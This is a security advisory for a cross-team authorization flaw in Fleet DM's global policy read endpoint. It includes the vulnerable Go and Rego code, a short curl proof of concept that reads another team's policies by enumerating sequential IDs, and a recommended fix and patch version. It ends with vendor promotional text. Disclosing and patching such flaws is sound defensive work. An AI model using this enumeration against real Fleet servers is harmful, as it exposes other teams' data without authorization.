GHSA-gm7f-v959-fr2g — v4
MEDIUMGHSA-gm7f-v959-fr2g is a medium-severity (CVSS 4.3) CWE-863 vulnerability in github.com/fleetdm/fleet/v4. A fix is available for github.com/fleetdm/fleet/v4 — see the affected versions and patch details below.
Fleet DM Vulnerable to Cross-Team Policy Data Exposure via Global Policy Read Endpoint
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-gm7f-v959-fr2g.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-gm7f-v959-fr2g plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 376,715 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/fleetdm/fleet/v4Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) performs authorization against an empty fleet.Policy{} struct with nil TeamID, then fetches any policy by ID from the database without verifying the fetched policy actually belongs to the global scope. This allows a user with observer-level access on any single team to read the full details of policies belonging to any other team, bypassing Fleet's team isolation model.
Details
The vulnerability is in GetPolicyByIDQueries at server/service/global_policies.go:163-180:
func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
// Auth check uses empty Policy{} — TeamID is nil
if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
return nil, err
}
// Fetches ANY policy by ID, regardless of team ownership
policy, err := svc.ds.Policy(ctx, policyID)
if err != nil {
return nil, err
}
// ... populates install_software and run_script, returns full policy
return policy, nil
}
The authorization passes because the OPA rule at server/authz/policy.rego:724-728 allows reading policies with null team_id for any user who holds a role on any team:
allow {
is_null(object.team_id)
object.type == "policy"
team_role(subject, subject.teams[_].id) == [admin, maintainer, technician, observer, observer_plus][_]
action == read
}
Since the auth object has nil TeamID, this rule fires for any team member. After authorization, ds.Policy() calls policyDB() at server/datastore/mysql/policies.go:283-288 with a nil teamID:
func policyDB(ctx context.Context, q sqlx.QueryerContext, id uint, teamID *uint) (*fleet.Policy, error) {
teamWhere := "TRUE" // nil teamID → no team filter
args := []interface{}{id}
if teamID != nil {
teamWhere = "team_id = ?"
args = append(args, *teamID)
}
// ... executes SELECT with WHERE p.id = ? AND {teamWhere}
This returns any policy regardless of team ownership, and the full policy object is returned to the caller without any post-fetch team verification.
By contrast, the properly-secured endpoints verify team scope:
GetTeamPolicyByIDQueries(team_policies.go:421-428) setsTeamID: ptr.Uint(teamID)on the auth object and callsds.TeamPolicy()which filters by teamDeleteGlobalPolicies(global_policies.go:255-263) explicitly checkspolicy.PolicyData.TeamID != nilafter fetching
PoC
Prerequisites: A Fleet instance with at least two teams. User A has observer role on Team 1 only. Team 2 has policies that User A should not be able to view.
# Step 1: Authenticate as User A (Team 1 observer only)
TOKEN=$(curl -s -X POST https://fleet.example.com/api/latest/fleet/login \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"password"}' | jq -r '.token')
# Step 2: Enumerate policy IDs (they are sequential integers)
# Attempt to read a policy belonging to Team 2 (e.g., policy ID 5)
curl -s -H "Authorization: Bearer $TOKEN" \
https://fleet.example.com/api/latest/fleet/policies/5
# Expected: 403 Forbidden (user has no access to Team 2)
# Actual: 200 OK with full policy data:
# {
# "policy": {
# "id": 5,
# "name": "Team 2 Sensitive Policy",
# "query": "SELECT * FROM sensitive_table WHERE ...",
# "team_id": 2,
# "passing_host_count": 42,
# "failing_host_count": 7,
# "description": "...",
# "resolution": "...",
# ...
# }
# }
Impact
An authenticated user with observer-level access on any single team can:
- Read SQL queries from all team policies across the Fleet instance, potentially revealing security monitoring strategies, compliance checks, and internal infrastructure details
- View host pass/fail counts for other teams' policies, leaking compliance posture data across team boundaries
- Access software installer and script metadata associated with other teams' policies via the
populatePolicyInstallSoftwareandpopulatePolicyRunScriptcalls - Enumerate all policies by iterating sequential integer IDs
This breaks Fleet's team isolation model, which is designed to restrict visibility between teams. Organizations using teams to separate departments, clients, or security zones would have their policy data exposed across boundaries.
Recommended Fix
Add a post-fetch check in GetPolicyByIDQueries to verify the returned policy is actually a global policy (nil TeamID), consistent with how DeleteGlobalPolicies operates:
func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
return nil, err
}
policy, err := svc.ds.Policy(ctx, policyID)
if err != nil {
return nil, err
}
// Verify this is actually a global policy — team policies must be
// accessed via the team-scoped endpoint which enforces team authorization
if policy.TeamID != nil {
return nil, authz.ForbiddenWithInternal(
"attempting to read team policy via global endpoint",
authz.UserFromContext(ctx),
policy,
fleet.ActionRead,
)
}
if err := svc.populatePolicyInstallSoftware(ctx, policy); err != nil {
return nil, ctxerr.Wrap(ctx, err, "populate install_software")
}
if err := svc.populatePolicyRunScript(ctx, policy); err != nil {
return nil, ctxerr.Wrap(ctx, err, "populate run_script")
}
return policy, nil
}
Alternatively, re-authorize against the actual fetched policy object so OPA rules properly evaluate team membership, similar to how other Fleet endpoints handle object-level authorization.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/fleetdm/fleet/v4 | all versions | 4.85.0go get github.com/fleetdm/fleet/v4@v4.85.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/fleetdm/fleet/v4, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/fleetdm/fleet/v4 to 4.85.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gm7f-v959-fr2g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-gm7f-v959-fr2g can be triaged on real exposure rather than presence alone.
Tailored to GHSA-gm7f-v959-fr2g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gm7f-v959-fr2g in your dependencies?
O3 Security finds GHSA-gm7f-v959-fr2g across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.